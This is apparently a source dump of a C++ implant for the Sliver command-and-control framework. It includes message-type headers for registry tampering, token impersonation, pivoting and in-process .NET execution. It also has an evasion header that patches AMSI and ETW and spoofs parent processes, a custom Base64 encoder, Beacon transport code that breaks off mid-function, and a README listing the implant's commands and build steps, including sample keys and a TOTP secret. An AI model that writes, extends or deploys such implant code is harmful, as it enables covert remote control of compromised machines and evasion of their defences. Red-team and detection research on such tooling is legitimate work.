Request to get environment variables, 162 | MsgEnvReq, 163 | // MsgEnvInfo - Response to environment variable request, 164 | MsgEnvInfo, 165 | // MsgSetEnvReq, 166 | MsgSetEnvReq, 167 | // MsgSetEnv, 168 | MsgSetEnv, 169 | // MsgExecuteWindowsReq - Execute request executed with the current (Windows) token, 170 | MsgExecuteWindowsReq, 171 | // MsgRegistryReadReq, 172 | MsgRegistryReadReq, 173 | // MsgRegistryWriteReq, 174 | MsgRegistryWriteReq, 175 | // MsgRegistryCreateKeyReq, 176 | MsgRegistryCreateKeyReq, 177 | 178 | // MsgWGStartPortFwdReq - Request to start a port forwarding in a WG transport, 179 | MsgWGStartPortFwdReq, 180 | // MsgWGStopPortFwdReq - Request to stop a port forwarding in a WG transport, 181 | MsgWGStopPortFwdReq, 182 | // MsgWGStartSocks - Request to start a socks server in a WG transport, 183 | MsgWGStartSocksReq, 184 | // MsgWGStopSocks - Request to stop a socks server in a WG transport, 185 | MsgWGStopSocksReq, 186 | // MsgWGListForwarders, 187 | MsgWGListForwardersReq, 188 | // MsgWGListSocks, 189 | MsgWGListSocksReq, 190 | 191 | // MsgPortfwdReq - Establish a port forward, 192 | MsgPortfwdReq, 193 | // MsgPortfwd - Response of port forward, 194 | MsgPortfwd, 195 | 196 | // MsgSocksData - Response of SocksData, 197 | MsgSocksData, 198 | 199 | // MsgReconfigureReq, 200 | MsgReconfigureReq, 201 | 202 | // MsgReconfigure - Set Reconfigure, 203 | MsgReconfigure, 204 | 205 | // MsgUnsetEnvReq, 206 | MsgUnsetEnvReq, 207 | 208 | // MsgSSHCommandReq - Run a SSH command, 209 | MsgSSHCommandReq, 210 | 211 | // MsgGetPrivsReq - Get privileges (Windows), 212 | MsgGetPrivsReq, 213 | 214 | // MsgRegistryListReq - List registry sub keys, 215 | MsgRegistrySubKeysListReq, 216 | // MsgRegistryListValuesReq - List registry values, 217 | MsgRegistryListValuesReq, 218 | // MsgRegisterExtensionReq - Register a new extension, 219 | MsgRegisterExtensionReq, 220 | 221 | // MsgCallExtensionReq - Run an extension command, 222 | MsgCallExtensionReq, 223 | // MsgListExtensionsReq - List loaded extensions, 224 | MsgListExtensionsReq, 225 | 226 | // MsgBeaconRegister - Register a new beacon, 227 | MsgBeaconRegister, 228 | // MsgBeaconTasks - Send/recv batches of beacon tasks, 229 | MsgBeaconTasks, 230 | 231 | // MsgOpenSession - Open a new session, 232 | MsgOpenSession, 233 | // MsgCloseSession - Close the active session, 234 | MsgCloseSession, 235 | 236 | // MsgRegistryDeleteKeyReq, 237 | MsgRegistryDeleteKeyReq, 238 | 239 | // MsgMvReq - Request to move or rename a file, 240 | MsgMvReq, 241 | // MsgMv - Confirms the success/failure of the mv request (resp to MsgMvReq), 242 | MsgMv, 243 | 244 | // MsgCurrentTokenOwnerReq - Request to query the thread token owner, 245 | MsgCurrentTokenOwnerReq, 246 | // MsgCurrentTokenOwner - Replies with the current thread owner (resp to MsfCurrentToken), 247 | MsgCurrentTokenOwner, 248 | // MsgInvokeInProcExecuteAssemblyReq - Request to load and execute a .NET assembly in-process, 249 | MsgInvokeInProcExecuteAssemblyReq, 250 | 251 | MsgRportFwdStopListenerReq, 252 | 253 | MsgRportFwdStartListenerReq, 254 | 255 | MsgRportFwdListener, 256 | 257 | MsgRportFwdListeners, 258 | 259 | MsgRportFwdListenersReq, 260 | 261 | MsgRPortfwdReq, 262 | 263 | MsgPivotPeerEnvelopeNoResponse, 264 | 265 | MsgListTokensReq, 266 | 267 | MsgListTokens 268 | }; 269 | 270 | MsgType MsgNumber(google::protobuf::Message& msg); 271 | 272 | } -------------------------------------------------------------------------------- /Include/encoders.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | //#define NOMINMAX 1 3 | #include 4 | #include 5 | using namespace std; 6 | 7 | namespace encoders { 8 | class Encoder { 9 | public: 10 | virtual string Encode(const string&) = 0; 11 | virtual string Decode(const string&) = 0; 12 | }; 13 | enum EncoderType { 14 | Base64EncoderID = 13, 15 | HexEncoderID = 92 16 | }; 17 | Encoder* GetEncoder(EncoderType type); 18 | tuple GetRandomEncoder(); 19 | class Base64 : public Encoder{ 20 | public: 21 | Base64(const string& chars = "a0b2c5def6hijklmnopqr_st-uvwxyzA1B3C4DEFGHIJKLM7NO9PQR8ST+UVWXYZ"); 22 | string Encode(const string&) override; 23 | string Decode(const string&) override; 24 | private: 25 | string to_base64(const string&); 26 | string from_base64(const string&); 27 | string base64_chars; 28 | }; 29 | } -------------------------------------------------------------------------------- /Include/evasion.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | namespace evasion { 5 | BOOL patchAMSI(); 6 | BOOL patchETW(BOOL); 7 | bool spoof(int, STARTUPINFOEXA&); 8 | } -------------------------------------------------------------------------------- /Include/extensions.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "MemoryModule.h" 3 | #include 4 | #include 5 | using namespace std; 6 | 7 | namespace extensions { 8 | class WindowsExtension 9 | { 10 | public: 11 | WindowsExtension(const string&, const string&, const string&, const string&); 12 | string Call(const string&,const string&); 13 | void goCallback(const char*, int); 14 | private: 15 | string os; 16 | string init; 17 | string name; 18 | HMEMORYMODULE module = NULL; 19 | }; 20 | 21 | BOOL addExtension(const string&, const string&, const string&, const string&); 22 | string runExtension(const string&, const string&, const string&); 23 | vector listExtensions(); 24 | } 25 | 26 | -------------------------------------------------------------------------------- /Include/filesystem.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "sliver.pb.h" 4 | using namespace std; 5 | 6 | namespace FS { 7 | bool remove(const string&, error_code&,bool); 8 | bool mkdir(const string&, error_code&); 9 | string pwd(void); 10 | string cd(const string&); 11 | sliverpb::Ls ls(const string&,bool); 12 | bool write(const string& path,const string& data); 13 | string read(const string& path); 14 | } -------------------------------------------------------------------------------- /Include/globals.h: -------------------------------------------------------------------------------- 1 | //#pragma once 2 | //#include 3 | //using namespace std; 4 | // 5 | //string instanceID; -------------------------------------------------------------------------------- /Include/listeners.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include "PivotConn.h" 5 | //#include "concurrent_vector.h" 6 | 7 | 8 | namespace pivots { 9 | class Listener { 10 | public: 11 | virtual shared_ptr Accept() = 0; 12 | virtual bool Stop() = 0; 13 | virtual void Clean() = 0; 14 | }; 15 | 16 | class NamedPipeListener : public Listener { 17 | public: 18 | NamedPipeListener(std::string pipe_name); 19 | std::shared_ptr Accept() override; 20 | bool Stop() override; 21 | void Clean() override; 22 | private: 23 | std::string pipe_name; 24 | HANDLE temp_pipeRead; 25 | HANDLE temp_pipeWrite; 26 | }; 27 | 28 | class TCPListener : public Listener { 29 | public: 30 | TCPListener(const std::string&); 31 | std::shared_ptr Accept() override; 32 | bool Stop() override; 33 | void Clean() override; 34 | private: 35 | string bind_address; 36 | SOCKET listen_socket; 37 | 38 | }; 39 | } -------------------------------------------------------------------------------- /Include/my_time.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | using namespace std::chrono; 8 | 9 | system_clock::time_point toUTC(system_clock::time_point tp) { 10 | auto time_t = std::chrono::system_clock::to_time_t(tp); 11 | auto ptm = gmtime(&time_t); 12 | auto utc_time_t = _mkgmtime(ptm); 13 | auto time_point_utc = std::chrono::system_clock::from_time_t(utc_time_t); 14 | return time_point_utc; 15 | } 16 | 17 | system_clock::time_point toUTC(time_t* tt) { 18 | auto ptm = gmtime(tt); 19 | auto utc_time_t = _mkgmtime(ptm); 20 | auto time_point_utc = std::chrono::system_clock::from_time_t(utc_time_t); 21 | return time_point_utc; 22 | } 23 | 24 | time_t fromHTTPDate(const char* dateString) { 25 | return curl_getdate(dateString, NULL); 26 | } 27 | 28 | -------------------------------------------------------------------------------- /Include/pivots.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "tsmap.h" 3 | #include "PivotConn.h" 4 | #include "listeners.h" 5 | //#include 6 | //#include "concurrent_unordered_map.h" 7 | #include 8 | #include "Beacon.h" 9 | 10 | using namespace std; 11 | using namespace transports; 12 | namespace pivots { 13 | class PivotListener { 14 | public: 15 | PivotListener(uint32_t, sliverpb::PivotType,unique_ptr&,const string&, shared_ptr b); 16 | void StartListening(); 17 | void StartListening(shared_ptr); 18 | void Accept(); 19 | void StopListening(); 20 | unique_ptr> GetNetConnPivots(); 21 | uint32_t id; 22 | unique_ptr ln; 23 | mutex connections_mutex; 24 | map> connections; 25 | string bindAddress; 26 | //shared_ptr> upstream; 27 | atomic stop; 28 | thread listener_thread; 29 | shared_ptr beacon; 30 | sliverpb::PivotType type; 31 | private: 32 | }; 33 | uint64_t getPeerID(); 34 | uint64_t generatePeerID(); 35 | uint64_t findNextPeerID(const sliverpb::PivotPeerEnvelope&); 36 | void StartListener(shared_ptr listener); 37 | } -------------------------------------------------------------------------------- /Include/processes.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | namespace processes { 9 | class WinProcess { 10 | public: 11 | WinProcess(PROCESSENTRY32); 12 | WinProcess(const WinProcess& other); 13 | int pid; 14 | int ppid; 15 | std::string exe; 16 | std::string owner; 17 | std::string arch; 18 | std::string cmdLine; 19 | int32_t sessionID; 20 | }; 21 | 22 | std::vector ps(); 23 | } -------------------------------------------------------------------------------- /Include/taskRunner.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | using namespace std; 5 | 6 | namespace taskrunner { 7 | string ExecuteAssembly(const string&, const string&, bool, bool); 8 | string execute(const string&, bool = true, int ppid = 0, bool usetoken = false); 9 | } -------------------------------------------------------------------------------- /Include/tsmap.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "ReadersWriterLock.h" 4 | #include 5 | 6 | 7 | template < class Key, 8 | class T, 9 | class Compare = std::less, 10 | class Alloc = std::allocator > 11 | > class tsmap : public std::map 12 | { 13 | typedef typename std::map::iterator iterator; 14 | typedef typename std::map::const_iterator const_iterator; 15 | typedef typename std::map::key_type key_type; 16 | typedef typename std::map::key_compare key_compare; 17 | typedef typename std::map::allocator_type allocator_type; 18 | typedef typename std::map::value_type value_type; 19 | typedef typename std::map::mapped_type mapped_type; 20 | typedef typename std::map::size_type size_type; 21 | typedef typename std::map map; 22 | 23 | mutable ReadersWriterLock rwl; 24 | 25 | public: 26 | explicit tsmap(const key_compare& comp = key_compare(), const allocator_type& alloc = allocator_type()) : std::map(comp, alloc) {} 27 | explicit tsmap(const allocator_type& alloc) : std::map(alloc) {} 28 | template tsmap(InputIterator first, 29 | InputIterator last, 30 | const key_compare& comp = key_compare(), 31 | const allocator_type& alloc = allocator_type()) : std::map(first, last, comp, alloc) {} 32 | tsmap(const map& x) : std::map(x) {} 33 | tsmap(const tsmap& x) : std::map(x) {} 34 | tsmap(const tsmap& x, const allocator_type& alloc) : std::map(x, alloc) {} 35 | tsmap(map&& x) : std::map(x) {} 36 | tsmap(tsmap&& x) : std::map(x) {} 37 | tsmap(map&& x, const allocator_type& alloc) : std::map(x, alloc) {} 38 | tsmap(tsmap&& x, const allocator_type& alloc) : std::map(x, alloc) {} 39 | tsmap(std::initializer_list il, const key_compare& comp = key_compare(), const allocator_type& alloc = allocator_type()) : std::map(il, comp, alloc) {} 40 | //----------------------------------------------------------------------------- 41 | tsmap& operator= (const map& x) 42 | { 43 | this->rwl.lock_write(); 44 | auto ret = this->std::map::operator=(x); 45 | this->rwl.unlock_write(); 46 | return(ret); 47 | } 48 | //----------------------------------------------------------------------------- 49 | tsmap& operator= (const tsmap& x) 50 | { 51 | this->rwl.lock_write(); 52 | auto ret = this->std::map::operator=(x); 53 | this->rwl.unlock_write(); 54 | return(ret); 55 | } 56 | //----------------------------------------------------------------------------- 57 | tsmap& operator= (map&& x) 58 | { 59 | this->rwl.lock_write(); 60 | auto ret = this->std::map::operator=(x); 61 | this->rwl.unlock_write(); 62 | return(ret); 63 | } 64 | //----------------------------------------------------------------------------- 65 | tsmap& operator= (tsmap&& x) 66 | { 67 | this->rwl.lock_write(); 68 | auto ret = this->std::map::operator=(x); 69 | this->rwl.unlock_write(); 70 | return(ret); 71 | } 72 | //----------------------------------------------------------------------------- 73 | tsmap& operator= (std::initializer_list il) 74 | { 75 | this->rwl.lock_write(); 76 | auto ret = this->std::map::operator=(il); 77 | this->rwl.unlock_write(); 78 | return(ret); 79 | } 80 | //----------------------------------------------------------------------------- 81 | bool empty() const noexcept 82 | { 83 | this->rwl.lock_read(); 84 | auto ret = this->std::map::empty(); 85 | this->rwl.unlock_read(); 86 | return(ret); 87 | } 88 | //----------------------------------------------------------------------------- 89 | size_type size() const noexcept 90 | { 91 | this->rwl.lock_read(); 92 | auto ret = this->std::map::size(); 93 | this->rwl.unlock_read(); 94 | return(ret); 95 | } 96 | //----------------------------------------------------------------------------- 97 | mapped_type& operator[] (const key_type& k) 98 | { 99 | this->rwl.lock_write(); 100 | auto ret = this->std::map::operator[](k); 101 | this->rwl.unlock_write(); 102 | return(ret); 103 | } 104 | //----------------------------------------------------------------------------- 105 | mapped_type& operator[] (key_type&& k) 106 | { 107 | this->rwl.lock_write(); 108 | auto ret = this->std::map::operator[](k); 109 | this->rwl.unlock_write(); 110 | return(ret); 111 | } 112 | 113 | mapped_type& at(const key_type& k) 114 | { 115 | this->rwl.lock_write(); 116 | std::shared_ptr defer(nullptr, [&](void* pi) { 117 | this->rwl.unlock_write(); 118 | }); // deleter 119 | 120 | return this->std::map::at(k); 121 | } 122 | 123 | //----------------------------------------------------------------------------- 124 | const mapped_type& at(const key_type& k) const 125 | { 126 | this->rwl.lock_write(); 127 | std::shared_ptr defer(nullptr, [&](void* pi) { 128 | this->rwl.unlock_write(); 129 | }); // deleter 130 | 131 | return this->std::map::at(k); 132 | } 133 | //----------------------------------------------------------------------------- 134 | std::pair insert(const value_type& val) 135 | { 136 | this->rwl.lock_write(); 137 | auto ret = this->std::map::insert(val); 138 | this->rwl.unlock_write(); 139 | return(ret); 140 | } 141 | //----------------------------------------------------------------------------- 142 | std::pair insert(value_type&& val) 143 | { 144 | this->rwl.lock_write(); 145 | auto ret = this->std::map::insert(std::move(val)); 146 | this->rwl.unlock_write(); 147 | return(ret); 148 | } 149 | //----------------------------------------------------------------------------- 150 | iterator insert(iterator position, const value_type& val) 151 | { 152 | this->rwl.lock_write(); 153 | auto ret = this->std::map::insert(position, val); 154 | this->rwl.unlock_write(); 155 | return(ret); 156 | } 157 | //----------------------------------------------------------------------------- 158 | iterator insert(iterator position, value_type&& val) 159 | { 160 | this->rwl.lock_write(); 161 | auto ret = this->std::map::insert(position, std::move(val)); 162 | this->rwl.unlock_write(); 163 | return(ret); 164 | } 165 | //----------------------------------------------------------------------------- 166 | template void insert(InputIterator first, InputIterator last) 167 | { 168 | this->rwl.lock_write(); 169 | auto ret = this->std::map::insert(first, last); 170 | this->rwl.unlock_write(); 171 | return(ret); 172 | } 173 | //----------------------------------------------------------------------------- 174 | iterator erase(const_iterator position) 175 | { 176 | this->rwl.lock_write(); 177 | auto ret = this->std::map::erase(position); 178 | this->rwl.unlock_write(); 179 | return(ret); 180 | } 181 | //----------------------------------------------------------------------------- 182 | size_type erase(const key_type& k) 183 | { 184 | this->rwl.lock_write(); 185 | auto ret = this->std::map::erase(k); 186 | this->rwl.unlock_write(); 187 | return(ret); 188 | } 189 | //----------------------------------------------------------------------------- 190 | iterator erase(const_iterator first, const_iterator last) 191 | { 192 | this->rwl.lock_write(); 193 | auto ret = this->std::map::erase(first, last); 194 | this->rwl.unlock_write(); 195 | return(ret); 196 | } 197 | //----------------------------------------------------------------------------- 198 | void swap(map& x) 199 | { 200 | this->rwl.lock_write(); 201 | this->std::map::swap(x); 202 | this->rwl.unlock_write(); 203 | } 204 | //----------------------------------------------------------------------------- 205 | void swap(tsmap& x) 206 | { 207 | this->rwl.lock_write(); 208 | x.lock_write(); 209 | this->std::map::swap(x); 210 | x.unlock_write(); 211 | this->rwl.unlock_write(); 212 | } 213 | //----------------------------------------------------------------------------- 214 | void clear() noexcept 215 | { 216 | this->rwl.lock_write(); 217 | this->std::map::clear(); 218 | this->rwl.unlock_write(); 219 | } 220 | //----------------------------------------------------------------------------- 221 | template std::pair emplace(Args&&... args) 222 | { 223 | this->rwl.lock_write(); 224 | auto ret = this->std::map::emplace(args...); 225 | this->rwl.unlock_write(); 226 | return(ret); 227 | } 228 | //----------------------------------------------------------------------------- 229 | template iterator emplace_hint(const_iterator position, Args&&... args) 230 | { 231 | this->rwl.lock_write(); 232 | auto ret = this->std::map::emplace_hint(position, args...); 233 | this->rwl.unlock_write(); 234 | return(ret); 235 | } 236 | //----------------------------------------------------------------------------- 237 | iterator find(const key_type& k) 238 | { 239 | this->rwl.lock_read(); 240 | auto ret = this->std::map::find(k); 241 | this->rwl.unlock_read(); 242 | return(ret); 243 | } 244 | //----------------------------------------------------------------------------- 245 | const_iterator find(const key_type& k) const 246 | { 247 | this->rwl.lock_read(); 248 | auto ret = this->std::map::find(k); 249 | this->rwl.unlock_read(); 250 | return(ret); 251 | } 252 | //----------------------------------------------------------------------------- 253 | size_type count(const key_type& k) const 254 | { 255 | this->rwl.lock_read(); 256 | auto ret = this->std::map::count(k); 257 | this->rwl.unlock_read(); 258 | return(ret); 259 | } 260 | //----------------------------------------------------------------------------- 261 | iterator lower_bound(const key_type& k) 262 | { 263 | this->rwl.lock_read(); 264 | auto ret = this->std::map::lower_bound(k); 265 | this->rwl.unlock_read(); 266 | return(ret); 267 | } 268 | //----------------------------------------------------------------------------- 269 | const_iterator lower_bound(const key_type& k) const 270 | { 271 | this->rwl.lock_read(); 272 | auto ret = this->std::map::lower_bound(k); 273 | this->rwl.unlock_read(); 274 | return(ret); 275 | } 276 | //----------------------------------------------------------------------------- 277 | iterator upper_bound(const key_type& k) 278 | { 279 | this->rwl.lock_read(); 280 | auto ret = this->std::map::upper_bound(k); 281 | this->rwl.unlock_read(); 282 | return(ret); 283 | } 284 | //----------------------------------------------------------------------------- 285 | const_iterator upper_bound(const key_type& k) const 286 | { 287 | this->rwl.lock_read(); 288 | auto ret = this->std::map::upper_bound(k); 289 | this->rwl.unlock_read(); 290 | return(ret); 291 | } 292 | //----------------------------------------------------------------------------- 293 | std::pair equal_range(const key_type& k) const 294 | { 295 | this->rwl.lock_read(); 296 | auto ret = this->std::map::equal_range(k); 297 | this->rwl.unlock_read(); 298 | return(ret); 299 | } 300 | //----------------------------------------------------------------------------- 301 | std::pair equal_range(const key_type& k) 302 | { 303 | this->rwl.lock_read(); 304 | auto ret = this->std::map::equal_range(k); 305 | this->rwl.unlock_read(); 306 | return(ret); 307 | } 308 | //----------------------------------------------------------------------------- 309 | inline bool set_lock_style(ReadersWriterLock::LockStyle lockStyle) { return(this->rwl.set_lock_style(lockStyle)); } 310 | inline void lock_read() { (this->rwl.lock_read)(); } 311 | inline void unlock_read() { (this->rwl.unlock_read)(); } 312 | inline void lock_write() { (this->rwl.lock_write)(); } 313 | inline void unlock_write() { (this->rwl.unlock_write)(); } 314 | }; -------------------------------------------------------------------------------- /Include/tunnels.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "sliver.pb.h" 4 | #include 5 | #include "Beacon.h" 6 | 7 | namespace tunnels { 8 | class TunnelConn { 9 | public: 10 | TunnelConn() 11 | } 12 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Sliver-CPPImplant2 2 | 3 | Code for a C++ implant compatible with my fork [refactor/teamserver-interaction](https://github.com/MrAle98/sliver/tree/refactor/teamserver-interaction) of sliver C2. For me it was an exercise to learn C++. 4 | It may teach you how to **NOT** write code in C++. For sure It has issues. 5 | 6 | *Always generate the http and https servers with -D flag like this in the teamserver: `> http -D` and `> https -D` as the support for TOTP during authentication is not properly supported*. 7 | 8 | This [repository](https://github.com/MrAle98/sliver-deployment) allows to deploy it automatically on AWS or locally. 9 | ## Supported commands 10 | 11 | * pwd 12 | * execute-assembly with flag -i. It support only in process execute assembly. etw bypass and amsi bypass are applied by default with old technique of patching. 13 | * cd 14 | * ls 15 | * upload 16 | * download 17 | * mkdir 18 | * rm 19 | * make-token 20 | * rev2self 21 | * execute 22 | * impersonate 23 | * list-tokens 24 | * ps 25 | * execute extensions DLL 26 | * execute BOFs 27 | * pivot commands 28 | * powershell-import 29 | * powershell 30 | 31 | ## Debugging 32 | 33 | Create a vckpg.json file with the following content: 34 | 35 | ``` 36 | { 37 | "dependencies": [ 38 | "botan", 39 | "cpr", 40 | "gzip-hpp", 41 | "libsodium", 42 | "protobuf", 43 | "stduuid" 44 | ], 45 | "overrides": [ 46 | { 47 | "name": "botan", 48 | "version": "2.19.3" 49 | }, 50 | { 51 | "name": "cpr", 52 | "version": "1.9.2" 53 | }, 54 | { 55 | "name": "gzip-hpp", 56 | "version": "0.1.0#1" 57 | }, 58 | { 59 | "name": "libsodium", 60 | "version": "1.0.18#8" 61 | }, 62 | { 63 | "name": "protobuf", 64 | "version": "3.21.8" 65 | }, 66 | { 67 | "name": "stduuid", 68 | "version": "1.2.2" 69 | } 70 | ] 71 | } 72 | ``` 73 | 74 | Run the following powershell commands: 75 | ``` 76 | mkdir C:\vcpkg 77 | mv vcpkg.json C:\vcpkg 78 | cd C:\vcpkg 79 | git clone https://github.com/microsoft/vcpkg.git 80 | .\vcpkg\bootstrap-vcpkg.bat 81 | cd vcpkg 82 | .\vcpkg.exe integrate install 83 | cd .. 84 | .\vcpkg\vcpkg.exe x-update-baseline --add-initial-baseline 85 | .\vcpkg\vcpkg.exe install --triplet=x64-windows-static --host-triplet=x64-windows-static --allow-unsupported 86 | cd C:\vcpkg\vcpkg 87 | $cmake_path=gci -force -Recurse -Include "cmake.exe" | select -ExpandProperty DirectoryName 88 | setx PATH "$cmake_path;$env:path" -m 89 | ``` 90 | 91 | Generate an executable in sliver and retrieve the keys from implant.go. 92 | ``` 93 | # cat ~/.sliver/slivers/windows/amd64/MENTAL_SWITCHBOARD/src/github.com/bishopfox/sliver/implant/sliver/cryptography/implant.go 94 | package cryptography 95 | 96 | [...] 97 | var ( 98 | // ECCPublicKey - The implant's ECC public key 99 | ECCPublicKey = "BMUu6mff0UUWMxF1urNVX0C8oTl58YE+HrIdpm978iU" 100 | // eccPrivateKey - The implant's ECC private key 101 | eccPrivateKey = "UVuPU6F4OkwhcaBW0TxbVv6SsEZG8IaKv8OKOE7qLLA" 102 | // eccPublicKeySignature - The implant's public key minisigned'd 103 | ECCPublicKeySignature = `untrusted comment: signature from private key: A14D189CBA4E22A5 104 | RWSlIk66nBhNoZXFDVCnCVYXzT/VuGz05ZAbVlCKkAlXLXf/dgULYNR04KNj7QLX2Qtv27xQZtw+cW1jo2ujYSw+kUkezsKTQwk= 105 | trusted comment: timestamp:1724166512 106 | 90Vwz17/+55kCNZ1ERhMx7QuC5hSTFE3I1z3+dKT2PdWPJ7h8z2MHddPkAmVpnhFHPuDj+wb1wgjkValnu7RAw==` 107 | // eccServerPublicKey - Server's ECC public key 108 | eccServerPublicKey = "F5Cn0lcoMnPzt1IgxCxiLL+JkI0zxA5u5Rh0y7Ps0G8" 109 | // minisignServerPublicKey - The server's minisign public key 110 | minisignServerPublicKey = `untrusted comment: minisign public key: A14D189CBA4E22A5 111 | RWSlIk66nBhNobryxxyTH5ylIygxN1+W8V5l+b6TU5/dFSsuiNS61VY4` 112 | 113 | // TOTP secret value 114 | totpSecret = "3Q6ZFBYFYEVYC3C6OU2HUCFIJ46TM3B3" 115 | 116 | // ErrInvalidPeerKey - Peer to peer key exchange failed 117 | ErrInvalidPeerKey = errors.New("invalid peer key") 118 | ) 119 | 120 | // 121 | 122 | // GetECCKeyPair - Get the implant's key pair 123 | func GetECCKeyPair() *ECCKeyPair { 124 | publicRaw, err := base64.Raw 125 | [...] 126 | ``` 127 | 128 | Take just `eccServerPublicKey`, `eccPublicKey`, `eccPrivateKey`, `totpsecret` and set them inside src/CryptoUtils.cpp (in the #ifdef DEBUG block). 129 | ``` 130 | #include "CryptoUtils.h" 131 | 132 | namespace crypto { 133 | #ifdef DEBUG 134 | string eccServerPublicKey = ""; 135 | // ECCPublicKey - The implant's ECC public key 136 | string eccPublicKey = ""; 137 | // eccPrivateKey - The implant's ECC private key 138 | string eccPrivateKey = ""; 139 | string totpsecret = ""; 140 | #else 141 | [...] 142 | ``` 143 | 144 | Change the appropriate connection string inside Sliver-CPPImplant.cpp (always in a #ifdef DEBUG block). 145 | 146 | Compile and run in visual studio selecting one of the *-debug presets. 147 | -------------------------------------------------------------------------------- /compile.bat: -------------------------------------------------------------------------------- 1 | call "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvarsall.bat" x86_amd64 2 | C:\vcpkg\vcpkg\downloads\tools\cmake-3.25.0-windows\cmake-3.25.0-windows-i386\bin\cmake.exe --preset %1 3 | C:\vcpkg\vcpkg\downloads\tools\cmake-3.25.0-windows\cmake-3.25.0-windows-i386\bin\cmake.exe --build --preset %2 -------------------------------------------------------------------------------- /deploy_compile.bat: -------------------------------------------------------------------------------- 1 | call "C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Auxiliary\Build\vcvarsall.bat" x86_amd64 2 | cmake.exe --preset %1 3 | cmake.exe --build --preset %2 -------------------------------------------------------------------------------- /sign.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MrAle98/Sliver-CPPImplant2/b9b66587195ef4d61f5a409a30cc2abade9b1470/sign.ps1 -------------------------------------------------------------------------------- /src/Base64.cpp: -------------------------------------------------------------------------------- 1 | #include "Encoders.h" 2 | 3 | namespace encoders { 4 | Base64::Base64(const string& chars) : base64_chars(chars){ 5 | 6 | } 7 | string Base64::Decode(const string& enc) { 8 | return this->from_base64(enc); 9 | } 10 | string Base64::Encode(const string& dec) { 11 | return this->to_base64(dec); 12 | } 13 | 14 | string Base64::to_base64(const string&data) { 15 | int counter = 0; 16 | uint32_t bit_stream = 0; 17 | std::string encoded; 18 | int offset = 0; 19 | for (unsigned char c : data) { 20 | auto num_val = static_cast(c); 21 | offset = 16 - counter % 3 * 8; 22 | bit_stream += num_val << offset; 23 | if (offset == 16) { 24 | encoded += base64_chars.at(bit_stream >> 18 & 0x3f); 25 | } 26 | if (offset == 8) { 27 | encoded += base64_chars.at(bit_stream >> 12 & 0x3f); 28 | } 29 | if (offset == 0 && counter != 3) { 30 | encoded += base64_chars.at(bit_stream >> 6 & 0x3f); 31 | encoded += base64_chars.at(bit_stream & 0x3f); 32 | bit_stream = 0; 33 | } 34 | counter++; 35 | } 36 | if (offset == 16) { 37 | encoded += base64_chars.at(bit_stream >> 12 & 0x3f); 38 | encoded += "=="; 39 | } 40 | if (offset == 8) { 41 | encoded += base64_chars.at(bit_stream >> 6 & 0x3f); 42 | encoded += '='; 43 | } 44 | char ch = '='; 45 | encoded.erase(remove(encoded.begin(), encoded.end(), ch), encoded.end()); 46 | return encoded; 47 | } 48 | 49 | string Base64::from_base64(string const& data) { 50 | int counter = 0; 51 | uint32_t bit_stream = 0; 52 | std::string decoded; 53 | int offset = 0; 54 | for (unsigned char c : data) { 55 | auto num_val = base64_chars.find(c); 56 | if (num_val != std::string::npos) { 57 | offset = 18 - counter % 4 * 6; 58 | bit_stream += num_val << offset; 59 | if (offset == 12) { 60 | decoded += static_cast(bit_stream >> 16 & 0xff); 61 | } 62 | if (offset == 6) { 63 | decoded += static_cast(bit_stream >> 8 & 0xff); 64 | } 65 | if (offset == 0 && counter != 4) { 66 | decoded += static_cast(bit_stream & 0xff); 67 | bit_stream = 0; 68 | } 69 | } 70 | else if (c != '=') { 71 | return std::string(); 72 | } 73 | counter++; 74 | } 75 | return decoded; 76 | } 77 | } -------------------------------------------------------------------------------- /src/Beacon.cpp: -------------------------------------------------------------------------------- 1 | #include "Beacon.h" 2 | #include 3 | 4 | namespace transports { 5 | Beacon::Beacon(const string& _activeC2, unique_ptr& cli,const string& _proxyURL,int interval,int jitter,int reconnectInterval) : activeC2(_activeC2),proxyURL(_proxyURL) { 6 | if (activeC2.find("namedpipe") != string::npos) { 7 | //activeC2 = std::regex_replace(activeC2, std::regex("\\"), "/"); 8 | activeC2 = std::regex_replace(activeC2, std::regex("namedpipe:"), ""); 9 | } 10 | else if (activeC2.find("tcppivot") != string::npos) { 11 | activeC2 = std::regex_replace(activeC2, std::regex("tcppivot://"), ""); 12 | } 13 | this->interval = std::chrono::seconds(interval); 14 | this->jitter = std::chrono::seconds(jitter); 15 | this->reconnectInterval = std::chrono::seconds(reconnectInterval); 16 | this->client = std::move(cli); 17 | //this->pivotEnvelope_queue = make_shared>(); 18 | } 19 | void Beacon::BeaconStart() { 20 | return; 21 | } 22 | bool Beacon::BeaconInit() { 23 | try { 24 | return this->client->SessionInit(); 25 | } 26 | catch (std::exception& e) { 27 | #ifdef DEBUG 28 | cout << e.what() << endl; 29 | #endif 30 | std::unique_lock lk{ this->m }; 31 | this->connectionErrors += 1; 32 | } 33 | return false; 34 | } 35 | 36 | bool Beacon::BeaconSend(sliverpb::Envelope& envelope) { 37 | try 38 | { 39 | return this->client->WriteEnvelopeNoResp(envelope); 40 | } 41 | catch (const std::exception& e) 42 | { 43 | cout << e.what() << endl; 44 | std::unique_lock lk{ this->m }; 45 | this->connectionErrors += 1; 46 | } 47 | return false; 48 | } 49 | 50 | unique_ptr Beacon::BeaconRecv() { 51 | try 52 | { 53 | return this->client->ReadEnvelope(); 54 | } 55 | catch (const std::exception& e) 56 | { 57 | cout << e.what() << endl; 58 | std::unique_lock lk{ this->m }; 59 | this->connectionErrors += 1; 60 | } 61 | return nullptr; 62 | } 63 | bool Beacon::BeaconRecv(const sliverpb::Envelope& 